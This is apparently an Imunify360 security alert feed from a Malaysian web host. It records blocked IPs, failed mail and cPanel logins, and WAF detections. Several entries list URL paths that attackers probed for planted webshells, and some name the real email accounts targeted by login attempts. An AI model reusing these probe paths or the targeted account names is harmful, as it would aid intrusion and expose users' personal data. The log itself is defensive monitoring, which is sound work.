IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Palembang-Sewage-Indonesia/penstock-palembang-sewage-04.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.167.232.33
country_id: 1282988
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Palembang-Sewage-Indonesia/penstock-palembang-sewage-06.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.103.180.190
country_id: 3508796
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Palembang-Sewage-Indonesia/penstock-palembang-sewage-07.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/team.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.241.60.73
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Palembang-Sewage-Indonesia/penstock-palembang-sewage-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.250.201.45
country_id: 3469034
description:
Jan 22 14:34:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.250.201.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.150.21
country_id: 99237
description:
Jan 22 14:34:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.150.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.205.177
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=541552 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.109.45.42
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/hamcrest/hamcrest-php/tests/bootstrap.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 14:41:50 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 14:42:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53529: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.45
country_id: 3865483
description:
Jan 22 14:42:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.158
country_id: 3469034
description:
Jan 22 14:43:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.213
country_id: 3865483
description:
Jan 22 14:43:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.217.238.242
country_id: 732800
description:
Jan 22 14:43:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.217.238.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.44.3
country_id: 2395170
description:
Jan 22 14:43:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.44.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.128
country_id: 3175395
description:
Jan 22 14:43:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.184.80.147
country_id: 3469034
description:
Jan 22 14:43:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.184.80.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.98
country_id: 1269750
description:
Jan 22 14:43:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.71.50
country_id: 3865483
description:
Jan 22 14:43:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.71.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.14
country_id: 1269750
description:
Jan 22 14:43:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.96.213
country_id: 3469034
description:
Jan 22 14:43:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.96.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.111
country_id: 3175395
description:
Jan 22 14:43:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.217.238.242
country_id: 732800
description:
Jan 22 14:44:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.217.238.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.84.202.213
country_id: 1269750
description:
Jan 22 14:44:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.84.202.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.30
country_id: 3175395
description:
Jan 22 14:44:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.44.3
country_id: 2395170
description:
Jan 22 14:43:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.44.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.111
country_id: 3175395
description:
Jan 22 14:44:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.111 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 14:45:15 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.121.185
country_id: 6290252
description:
Jan 22 14:49:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.121.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.210.37
country_id: 933860
description:
Jan 22 14:51:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.210.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.210.37
country_id: 933860
description:
Jan 22 14:52:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.210.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.184
country_id: 298795
description:
Jan 22 14:52:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.184 has been locked due to Imunify RBL


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 8.129.21.44
country_id: 1814991
domain: www.manforce.net
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: lexical error: invalid char in json text.\n||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.129.145.94
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/IpUtilsTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 14:53:37 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.98.226.239
country_id: 2589581
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/CacheClearer/CacheClearerInterface.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 113.23.142.100
country_id: 1733045
domain: www.egbwawasan.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:113.23.142.100||TA:113.23.142.100||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.11.251.39
country_id: 3469034
description:
Jan 22 14:55:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.11.251.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.128
country_id: 3175395
description:
Jan 22 14:55:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.111.94
country_id: 6290252
description:
Jan 22 14:56:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.111.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.73.59.60
country_id: 1562822
description:
Jan 22 14:56:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.73.59.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.73.59.60
country_id: 1562822
description:
2026-01-22 14:56:31 dovecot_login authenticator failed for H=([27.73.59.60]) [27.73.59.60]:34529: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.128
country_id: 3175395
description:
Jan 22 14:55:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.128 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.174
country_id: 6252001
description:
2026-01-22 14:57:14 534315 [Warning] Aborted connection 534315 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.174' (This connection closed normally without authentication)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 42.191.134.208
country_id: 1733045
description:
[2026-01-22 14:57:20 +0800] info [webmaild] 42.191.134.208 - nazurah@fkr.com.my "GET /cpsess3649793910/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 45.91.64.7
country_id: 2017370
description:
2026-01-22 15:01:31 534469 [Warning] Aborted connection 534469 to db: 'unconnected' user: 'unauthenticated' host: '45.91.64.7' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 136.0.189.219
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-02.136.0.189.219||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.255.6.9
country_id: 3686110
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/574082.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.135.226.163
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/shape/525/38112 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 15:10:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53705: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.74
country_id: 3175395
description:
Jan 22 15:11:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.35
country_id: 3469034
description:
Jan 22 15:11:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-01-22 15:15:24 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:51944: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.176.18
country_id: 1269750
description:
Jan 22 15:15:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.176.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.122
country_id: 1269750
description:
Jan 22 15:15:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.165.172.38
country_id: 1835841
description:
Jan 22 15:15:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.165.172.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-22 15:17:42 H=(localhost.localdomain) [78.153.140.207]:59668 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.204.134.124
country_id: 6252001
description:
Jan 22 15:17:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.204.134.124 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.204.134.124
country_id: 6252001
description:
2026-01-22 15:17:45 dovecot_plain authenticator failed for H=c-98-204-134-124.hsd1.md.comcast.net (chrises) [98.204.134.124]:35830: 535 Incorrect authentication data (set_id=sales@tujusetia.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-22 15:20:03 +0800] info [webmaild] 175.142.113.50 - claimservice@evergrown.com.my "GET /cpsess6562735933/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 124.198.132.91
country_id: 6252001
description:
2026-01-22 15:20:16 H=([124.198.132.91]) [124.198.132.91]:51030 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<technical@arabiantrading.ae> rejected RCPT <jaya@ktlog.com.my>: SPF: 124.198.132.91 is not allowed to send mail from arabiantrading.ae


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.0.229.241
country_id: 3608932
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=951091 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 123.136.114.11
country_id: 1733045
domain: www.saps.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:123.136.114.11||TA:123.136.114.11||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/sliders/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.200
country_id: 798544
description:
Jan 22 15:23:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.200
country_id: 798544
description:
Jan 22 15:23:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-22 15:25:53 H=(localhost.localdomain) [78.153.140.207]:46294 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 202.75.141.203
country_id: 1733045
domain: www.rcct.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:202.75.141.203||TA:202.75.141.203||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 115.164.140.201
country_id: 1733045
domain: www.rcct.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:115.164.140.201||TA:115.164.140.201||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.224
country_id: 3469034
description:
Jan 22 15:29:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.252
country_id: 2300660
description:
Jan 22 15:29:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.4.231
country_id: 2300660
description:
Jan 22 15:30:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.4.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.229
country_id: 732800
description:
Jan 22 15:30:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.229 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.200.54.156
country_id: 690791
domain: www.symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.symphony-led.com/outdoor-led-screen-kf-series/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.85
country_id: 2510769
description:
Jan 22 15:30:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.85
country_id: 2510769
description:
Jan 22 15:31:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.109
country_id: 3469034
description:
Jan 22 15:33:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.74.50
country_id: 3469034
description:
Jan 22 15:34:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.74.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.243.38.183
country_id: 3469034
description:
Jan 22 15:36:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.243.38.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.231
country_id: 690791
description:
2026-01-22 15:36:27 H=([77.83.39.231]) [77.83.39.231]:49943 F=<grupotsk@grupotsk.com> rejected RCPT <info@pftfood.com>: SPF: 77.83.39.231 is not allowed to send mail from grupotsk.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.151.159.66
country_id: 3865483
description:
Jan 22 15:37:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.151.159.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.151.159.66
country_id: 3865483
description:
Jan 22 15:37:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.151.159.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 15:38:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53845: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-22 15:40:05 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess2961289908/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 147.124.198.195
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-41.147.124.198.195||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.87.243.8
country_id: 798544
description:
Jan 22 15:44:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.87.243.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.122
country_id: 3175395
description:
Jan 22 15:44:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.69
country_id: 3996063
description:
Jan 22 15:44:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.39.25
country_id: 2395170
description:
Jan 22 15:45:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.39.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.39.25
country_id: 2395170
description:
Jan 22 15:46:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.39.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.5.109.115
country_id: 2186224
description:
Jan 22 15:46:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.5.109.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.213
country_id: 690791
description:
Jan 22 15:47:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.213 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 96.8.131.151
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/pin/7/600/751453 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.231
country_id: 690791
description:
2026-01-22 15:51:44 H=([77.83.39.231]) [77.83.39.231]:59668 F=<grupotsk@grupotsk.com> rejected RCPT <roz@af-sb.com>: SPF: 77.83.39.231 is not allowed to send mail from grupotsk.com


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-22 15:53:04 +0800] info [cpaneld] 165.22.212.32 - manforce "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.134.122
country_id: 3658394
domain: www.wcc.com.myhttp
description:
